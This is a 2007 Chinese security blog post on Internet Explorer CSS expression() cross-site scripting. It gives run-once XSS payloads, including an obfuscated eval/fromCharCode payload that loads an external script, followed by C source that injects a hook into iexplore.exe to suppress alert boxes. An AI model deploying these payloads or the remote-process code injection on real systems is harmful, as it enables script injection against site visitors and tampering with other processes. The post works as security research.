我和expression的日與被日經(jīng)典分析

更新時(shí)間：2007年11月30日 13:57:44 作者：

by jno
2007-11-29
http://www.ph4nt0m.org

當(dāng)你第一次用expression方式來xss時(shí)，你肯定傻眼了，不停彈框，沒法關(guān)閉瀏覽器，最終你只能祭出任務(wù)管理器將進(jìn)程結(jié)束。也許你其他TAB頁(yè)正有填到一半尚未提交的表單，你就這樣被expression給日了，心里非常郁悶，于是就要想辦法干它。

很多人第一反應(yīng)就是cookie，沒錯(cuò)這是個(gè)好辦法：
<div style="width: expression(if(document.cookie.indexOf('xxxx')<0){alert(1);document.cookie='xxxx=1;'+document.cookie;})"></div>
不過這樣寫有個(gè)問題，就是被攻擊者瀏覽器只能執(zhí)行一次你的alert，cookie的作用域大于一次頁(yè)面執(zhí)行，適合用來做跨頁(yè)面的標(biāo)識(shí)，而不是僅僅用來控制一個(gè)頁(yè)面里的某段代碼的執(zhí)行次數(shù)，而且你測(cè)試起來也挺麻煩，弄得不好就要清cookie。

循著這個(gè)思路很自然就會(huì)想到在頁(yè)面里設(shè)置標(biāo)識(shí)，于是就有了第二種方法：
<div style="width: expression(if(!window.xxx){alert(1);window.xxx=1;})"></div>
使用全局變量來做標(biāo)識(shí)，使我的代碼在這個(gè)頁(yè)面級(jí)別只執(zhí)行一次，這樣是一個(gè)比較完美的辦法，也是目前被使用的最多的辦法。

但是到這里總還覺得不爽，雖然我的alert只被執(zhí)行了一次，但是判斷代碼還是在被不停的執(zhí)行，我們還是在被它日，只不過感覺不出來而已了，我們的目標(biāo)是日它，辦法就是執(zhí)行完我們的代碼后刪除這條expression，翻閱MSDN你很快能找到合適的方法：

object.style.removeExpression(sPropertyName)

看起來很美，可是你把這個(gè)語(yǔ)句放進(jìn)expression內(nèi)部用它來刪除expression自身卻怎么也不能成功，該死的alert還是會(huì)一遍遍的彈出來。使用setTimeout延遲執(zhí)行？失??；使用execScript在全局執(zhí)行？失??；結(jié)合setTimeout和execScript在延遲在全局執(zhí)行？還是失敗；在body尾部append一個(gè)外部script來執(zhí)行？失?。辉赽ody尾部append一個(gè)外部script并且setTimeout 延遲并且execScript全局執(zhí)行？草，終于tmd成功了：

<html>
<style>
body {
width: expression(eval(String.fromCharCode(0x61,0x6C,0x65,0x72,0x74,0x28,0x31,0x29,0x3B,0x69,0x66,0x28,0x64,0x6F,0x63,0x75,0x6D,0x65,0x6E,0x74,0x2E,0x62,0x6F,0x64,0x79,0x29,0x7B,0x76,0x61,0x72,0x20,0x73,0x3D,0x64,0x6F,0x63,0x75,0x6D,0x65,0x6E,0x74,0x2E,0x63,0x72,0x65,0x61,0x74,0x65,0x45,0x6C,0x65,0x6D,0x65,0x6E,0x74,0x28,0x22,0x73,0x63,0x72,0x69,0x70,0x74,0x22,0x29,0x3B,0x64,0x6F,0x63,0x75,0x6D,0x65,0x6E,0x74,0x2E,0x62,0x6F,0x64,0x79,0x2E,0x61,0x70,0x70,0x65,0x6E,0x64,0x43,0x68,0x69,0x6C,0x64,0x28,0x73,0x29,0x3B,0x73,0x2E,0x73,0x72,0x63,0x3D,0x22,0x31,0x2E,0x6A,0x73,0x22,0x3B,0x7D)));
/*alert(1);if(document.body){var s=document.createElement("script");document.body.appendChild(s);s.src="1.js";}*/
}
</style>
<body>
</body>
</html>
//--------1.js---------//
setTimeout(function(){execScript("document.body.style.removeExpression(\"width\")");}, 0);
可是還有那么一點(diǎn)不完美，就是無論怎么樣，最少也要執(zhí)行兩次，不過我爽了，總算把這個(gè)expression給日了。當(dāng)然如果你是個(gè)完美主義者，可以用這個(gè)方法結(jié)合if(!window.xxx)法。

各位看官看到這里，可能已經(jīng)嚴(yán)重懷疑我是被虐狂，這么多方法測(cè)試下來，我還不彈框框彈到崩潰？其實(shí)我并非浪得虛名，測(cè)之前早有準(zhǔn)備，先厚者臉皮去幻影郵件列表跪求alert框框原理，沒想到大家非常熱情地給予幫助，最終zzzevazzz大俠最先找到實(shí)現(xiàn)API是MessageBoxIndirectW，從 win2k源代碼中覓得。然后又花上半日工夫草成一個(gè)hook MessageBoxIndirectW的小工具，可惜又遇到個(gè)小問題至今沒有解決，這個(gè)函數(shù)的參數(shù)是個(gè)MSGBOXPARAMS結(jié)構(gòu)體：
typedef struct {
UINT cbSize;
HWND hwndOwner;
HINSTANCE hInstance;
LPCTSTR lpszText;
LPCTSTR lpszCaption;
DWORD dwStyle;
LPCTSTR lpszIcon;
DWORD_PTR dwContextHelpId;
MSGBOXCALLBACK lpfnMsgBoxCallback;
DWORD dwLanguageId;
} MSGBOXPARAMS, *PMSGBOXPARAMS;
我寫了個(gè)小程序測(cè)試發(fā)現(xiàn)只要把hwndOwner和dwStyle都置為0，這個(gè)對(duì)跨框就不是模態(tài)的，父窗口點(diǎn)關(guān)閉也可以關(guān)閉程序，我hook的目的也在于此，可是在IE里具體測(cè)試的時(shí)候，發(fā)現(xiàn)即使對(duì)話框不是模態(tài)的，我點(diǎn)關(guān)閉IE按鈕也沒法關(guān)閉IE窗口，所以這個(gè)方法只針對(duì)有TAB頁(yè)的IE7有意義，對(duì)話框非模態(tài)后，我可以切換到其他TAB頁(yè)去并關(guān)閉彈框的TAB頁(yè)，但是對(duì)于IE6來說不能點(diǎn)關(guān)閉就沒有意義，于是我干脆也不修改什么參數(shù)了，直接把這個(gè)函數(shù)返回掉了，代碼在最后附上。

至此，我和expression的恩怨總算可以告一段落，整個(gè)世界清靜了。
/*
* FileName: IEAlertPatch.c
* Version: 1.0
* Contact: luoluonet@yahoo.cn
* P.S: Thanks zzzEVAzzz, he found out the API that alert uses.
*/
#include <Windows.h>
#include <Tlhelp32.h>
#include <Imagehlp.h>

#pragma comment(lib, "advapi32.lib")

//
// function prototype
//
DWORD WINAPI GetProcessIdByName(LPCTSTR lpProcessName);
__inline HookProc();
BOOL WINAPI HookAlert(DWORD pId);
LPVOID GetSC(LPVOID lpProc, DWORD* dwLen, DWORD dwReserved);

//
// start of winmain
//
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPreInstance, LPSTR lpCmdLine, int nCmdShow)
{
DWORD pId;
OSVERSIONINFOEX osvi;
BOOL bRet;
TCHAR procName[] = TEXT("iexplore.exe");

ZeroMemory(&osvi, sizeof(OSVERSIONINFOEX));
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);

//
// Get system version
//
bRet = GetVersionEx((OSVERSIONINFO *)&osvi);
if (! bRet)
{
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
bRet = GetVersionEx((OSVERSIONINFO *)&osvi);
if (! bRet)
goto FreeAndExit;
}

// Verify if it is NT system
if (osvi.dwPlatformId == VER_PLATFORM_WIN32_NT)
{
pId = GetProcessIdByName(procName);
if (pId != 0)
HookAlert(pId);
}

FreeAndExit:
return 0;

}
//
// End of WinMain
//

//
// @Name: GetProcessIdByName
// @Author: luoluo
// @Time: 2005-04-17
// @Param: lpProcessName spacifies the ProcessName
// @Ret: if success, return the process id
// if failed, return 0
//
DWORD WINAPI GetProcessIdByName(LPCTSTR lpProcessName)
{
HANDLE hSnapshot;
DWORD dwRet = 0;
LPPROCESSENTRY32 pPe32;
BOOL bRet;

// Get all the processes in the snapshot
hSnapshot = CreateToolhelp32Snapshot(0x00000002, 0);
if (hSnapshot == INVALID_HANDLE_VALUE)
{
goto FreeAndExit;
}

pPe32 = (LPPROCESSENTRY32)malloc(sizeof(PROCESSENTRY32));
ZeroMemory(pPe32, sizeof(PROCESSENTRY32));
pPe32->dwSize = sizeof(PROCESSENTRY32);

// Get the first process
bRet = Process32First(hSnapshot, pPe32);
if (! bRet)
{
goto FreeAndExit;
}

if (stricmp(lpProcessName, pPe32->szExeFile) == 0)
{
dwRet = pPe32->th32ProcessID;
goto FreeAndExit;
}

// Travesal the left processes
while (TRUE)
{
bRet = Process32Next(hSnapshot, pPe32);
if (! bRet)
{
goto FreeAndExit;
}

if (stricmp(lpProcessName, pPe32->szExeFile) == 0)
{
dwRet = pPe32->th32ProcessID;
goto FreeAndExit;
}
}

FreeAndExit:
if (pPe32 != NULL) free(pPe32);
if (hSnapshot != NULL) CloseHandle(hSnapshot);

return dwRet;
}

__inline __declspec(naked) HookProc()
{
__asm
{
leave
retn 4
/*
push esi
mov esi, [ebp+8h]
mov dword ptr [esi+4h], 0h // modify the hwnd
mov dword ptr [esi+14h], 0h // modify the type
pop esi
*/
_emit 90h
_emit 90h
_emit 90h
_emit 90h
}
}

LPVOID GetSC(LPVOID lpProc, DWORD* dwLen, DWORD dwReserved)
{
LPVOID lpProc1 = NULL;
LPVOID lpSC = NULL;

__asm
{
push ebx
mov ebx, lpProc
dec ebx
_loop:
inc ebx
cmp dword ptr [ebx], 90909090h
jne _loop
mov lpProc1, ebx
pop ebx
}

*dwLen = (DWORD)lpProc1 - (DWORD)lpProc;
lpSC = malloc(*dwLen + dwReserved);
memset(lpSC, 0, *dwLen + dwReserved);
memcpy(lpSC, lpProc, *dwLen);
*dwLen += dwReserved;

return lpSC;
}

BOOL WINAPI HookAlert(DWORD pId)
{
HMODULE hModule = NULL;
DWORD dwMessageBoxIndirectW = 0;
HANDLE hProcess;
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
BOOL bRet = FALSE;
BOOL bRetVal;
LPVOID lpCodeMemory;
MEMORY_BASIC_INFORMATION mbi;
SIZE_T szRet;
DWORD dwOldProtect;
DWORD dwJmpOffset = 0;
unsigned char szJmpCode[5] = {0};
unsigned char szOldCode[5] = {0};
LPVOID lpHookCode = NULL;
DWORD dwHookCodeLen = 0;

hModule = LoadLibrary("user32.dll");
dwMessageBoxIndirectW = (DWORD)GetProcAddress(hModule, "MessageBoxIndirectW");

lpHookCode = GetSC(&HookProc, &dwHookCodeLen, 10);
if (lpHookCode == NULL)
{
goto FreeAndExit;
}

// Open process token to ajust privileges
bRetVal = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);

if (! bRetVal)
{
goto FreeAndExit;
}

// Get the LUID for debug privilege
bRetVal = LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid);

if (! bRetVal)
{
goto FreeAndExit;
}

tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

// Adjust token privileges
bRetVal = AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(&tkp), (PTOKEN_PRIVILEGES)NULL, 0);
if (! bRetVal)
{
goto FreeAndExit;
}

// Open remote process
hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_QUERY_INFORMATION, FALSE, pId);
if (hProcess == NULL)
{
goto FreeAndExit;
}

// Read 5 byte from function to be hooked
bRetVal = ReadProcessMemory(hProcess, (LPCVOID)dwMessageBoxIndirectW, szOldCode, sizeof(szOldCode), NULL);
if (! bRetVal)
{
goto FreeAndExit;
}

// Allocate memory from remote process
lpCodeMemory = VirtualAllocEx(hProcess, NULL, dwHookCodeLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (lpCodeMemory == NULL)
{
goto FreeAndExit;
}

// Query the page information
ZeroMemory(&mbi, sizeof(MEMORY_BASIC_INFORMATION));
szRet = VirtualQueryEx(hProcess, lpCodeMemory, &mbi, sizeof(MEMORY_BASIC_INFORMATION));
if (szRet == 0)
{
goto FreeAndExit;
}

// Modify the page protection for write
bRetVal = VirtualProtectEx(hProcess, mbi.BaseAddress, mbi.RegionSize, PAGE_EXECUTE_READWRITE, &mbi.Protect);
if (! bRetVal)
{
goto FreeAndExit;
}

// the function has been hooked
if (szOldCode[0] == ((unsigned char)'\xE9'))
{
dwJmpOffset = (*((int*)(szOldCode + 1))) + dwMessageBoxIndirectW + 5 - ((DWORD)lpCodeMemory) - dwHookCodeLen + 5;
memcpy(szOldCode + 1, (LPVOID)(&dwJmpOffset), 4);
}

// debugger present and breakpoint here
if (szOldCode[0] == '\xCC')
{
goto FreeAndExit;
}

// copy the start code of funciton hooked to the end of hook code
memcpy((LPVOID)(((DWORD)lpHookCode) + dwHookCodeLen - 10), szOldCode, sizeof(szOldCode));

// code jmp back to function hooked
memset((LPVOID)(((DWORD)lpHookCode) + dwHookCodeLen - 5), '\xE9', 1);
dwJmpOffset = dwMessageBoxIndirectW - ((DWORD)lpCodeMemory) - dwHookCodeLen + 5;
memcpy((LPVOID)(((DWORD)lpHookCode) + dwHookCodeLen - 4), (LPVOID)(&dwJmpOffset), 4);

// Write my code to remote process memory
bRetVal = WriteProcessMemory(hProcess, lpCodeMemory, lpHookCode, dwHookCodeLen, 0);
if (! bRetVal)
{
VirtualFreeEx(hProcess, lpCodeMemory, dwHookCodeLen, MEM_RELEASE);
goto FreeAndExit;
}

// Modify the page protection to protect
bRetVal = VirtualProtectEx(hProcess, mbi.BaseAddress, mbi.RegionSize, mbi.Protect, &dwOldProtect);
if (! bRetVal)
{
goto FreeAndExit;
}

// hook code
szJmpCode[0] = '\xE9'; // jmp
dwJmpOffset = ((DWORD)lpCodeMemory) - dwMessageBoxIndirectW - 5;
memcpy(szJmpCode + 1, (LPVOID)(&dwJmpOffset), 4);

// Query the page information
ZeroMemory(&mbi, sizeof(MEMORY_BASIC_INFORMATION));
szRet = VirtualQueryEx(hProcess, (LPVOID)dwMessageBoxIndirectW, &mbi, sizeof(MEMORY_BASIC_INFORMATION));
if (szRet == 0)
{
goto FreeAndExit;
}

// Modify the page protection for write
bRetVal = VirtualProtectEx(hProcess, mbi.BaseAddress, mbi.RegionSize, PAGE_EXECUTE_READWRITE, &mbi.Protect);
if (! bRetVal)
{
goto FreeAndExit;
}

// Write hook code to the functon to be hooked
bRetVal = WriteProcessMemory(hProcess, (LPVOID)dwMessageBoxIndirectW, szJmpCode, sizeof(szJmpCode), 0);
if (! bRetVal)
{
goto FreeAndExit;
}

// Modify the page protection to protect
bRetVal = VirtualProtectEx(hProcess, mbi.BaseAddress, mbi.RegionSize, mbi.Protect, &dwOldProtect);
if (! bRetVal)
{
goto FreeAndExit;
}

FreeAndExit:
if (hProcess != NULL)
{
CloseHandle(hProcess);
}
if (hToken != NULL)
{
CloseHandle(hToken);
}
if (lpHookCode != NULL)
{
free(lpHookCode);
lpHookCode = NULL;
}

return bRet;
}